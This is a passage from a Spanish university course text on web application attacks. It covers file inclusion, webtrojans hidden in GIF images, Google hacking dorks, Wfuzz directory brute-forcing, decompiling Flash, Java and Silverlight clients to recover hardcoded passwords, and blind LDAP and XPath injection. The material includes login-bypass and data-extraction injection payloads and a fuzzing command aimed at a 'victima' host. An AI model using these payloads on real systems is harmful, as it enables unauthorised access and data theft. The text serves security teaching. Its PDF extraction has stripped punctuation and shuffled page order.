de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 44: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web

Figura 30 Propiedades de la impresora HP LaserJet 2100

El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-

nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de

los objetos que se puedan seleccionar con cualquier consulta ejecutada por

lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes

capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-

diante Blind LDAP Injection

1)Fase1descubrimientodeatributos

El atacante inyecta atributos para descubrir si existen o no Cuando el atributo

no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no

muestra datos de ninguna impresora

Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de

tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir

asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=

o = y para los booleanos las constantes true y false

Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico

En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de

tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto

se puede comprobar porque la paacutegina de resultados ha devuelto datos de la

impresora que se estaba utilizando

CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web

Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico

Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las

que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten

y el descubrimiento de los atributos simplemente comparando los resultados

HTML obtenidos

En la figura 33 se obtiene de nuevo un resultado positivo que confirma la

existencia de un atributo department

Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble

2)Fase2reduccioacutendelalfabeto

Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-

fabeto posible de valores en un campo La idea consiste en saber si existe o

no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres

de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres

tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten

Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-

ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos

dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir

15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones

+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se

puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a

utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza

como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28

es decir 148 peticiones

CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web

Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena

opcioacuten a la hora de extraer valores de campos

En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece

o no al valor del campo

Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos

Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos

Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse

para extraer el valor del dato mediante un proceso de despliegue

3)Fase3despliegue

En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas

para ello comenzaremos un proceso desde la primera posicioacuten

Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos

CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web

Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-

firme que con ese patroacuten se devuelven datos

Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos

Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a

buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la

fase de reduccioacuten del alfabeto

Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos

Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos

Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se

hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta

de los objetos del aacuterbol LDAP

LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-

rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet

realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-

On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet

CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web

Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro

de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas

de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo

la documentacioacuten existente son de poca ayuda pues en los entornos maacutes

comunes como ADAM u OpenLDAP no funcionan

La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones

consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-

viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines

para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra

aplicacioacuten

23 XPath

XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-

cumentos XML por medio de expresiones especiacuteficas para su estructura

Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de

la organizacioacuten de nodos que poseen los ficheros XML

Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-

ble implementarlo en aplicaciones web de modo que pueden sustituir a los

SGBD (sistema gestor de base de datos) basados en SQL

231 XPath injection y Blind XPath Injection

XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los

paraacutemetros de buacutesqueda a la hora de formar una query XPath

Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-

tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML

Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL

Injection LDAP Injection) son fallos de seguridad causados por una mala

programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-

queda sin importar que la aplicacioacuten sea de escritorio o web

Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-

poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten

contra un aacuterbol XML con la siguiente estructura

ltxml version=10 encoding=UTF-8gt

ltusuariosgt

ltusuario login=admin password=t1oviv0 nivel=3 gt

ltusuario login=usuario password=miPasswordXml nivel=1 gt

ltusuario login=invitado password=invitado nivel=0 gt

CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web

ltusuariosgt

La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde

para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario

y un password con los que posteriormente formara una query de XPath con

la siguiente estructura

string xpath = usuariosusuario[login= + usuario + and password= + password + ]

En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-

tivo a no ser que el usuario y el password correspondan con los establecidos en

el documento XML pero si se trata de un entorno inseguro donde los campos

de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una

inyeccioacuten

Si un usuario introdujera en el campo password un valor como abclsquo or

lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder

a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado

positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y

posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-

da seriacutea el que nos muestra el siguiente ejemplo

Figura 40 Evaluacioacuten de los paraacutemetros en XPath

Como hemos visto con este tipo de inyecciones es posible hacer modificacio-

nes en la query para obtener el resultado deseado (truefalse) pero es posible ir

mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos

atributos y elementos

Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath

Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores

del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten

vulnerable

Retomando el caso praacutectico anterior supongamos que cuando realizamos login

en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten

devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso

de que la query XPath devuelva un resultado negativo (cuando se realiza una

inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo

password incorrectordquo

CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web

En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a

Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de

un motor XML y no SQL podemos utilizar funciones como count() la

cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener

al menos 1 nodo

bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob

bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1

Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que

estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL

(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal

modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML

bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo

bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo

Si con esta prueba obtenemos un resultado positivo no hay duda de que es un

sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML

iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo

El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea

sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos

que habriacutea que realizar seriacutean los siguientes

1) Extraer el nombre del nodo

2) Extraer los atributos del nodo

3) Comprobar si es un elemento3 En caso positivo obtener el valor

4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-

zando

5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo

Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de

caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length

[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]

Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya

que puede haber varios nodos con el mismo nombre dentro del mismo padre)

y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando

fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-

ble sacar la longitud del nombre de la siguiente manera

(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean

CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web

or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =

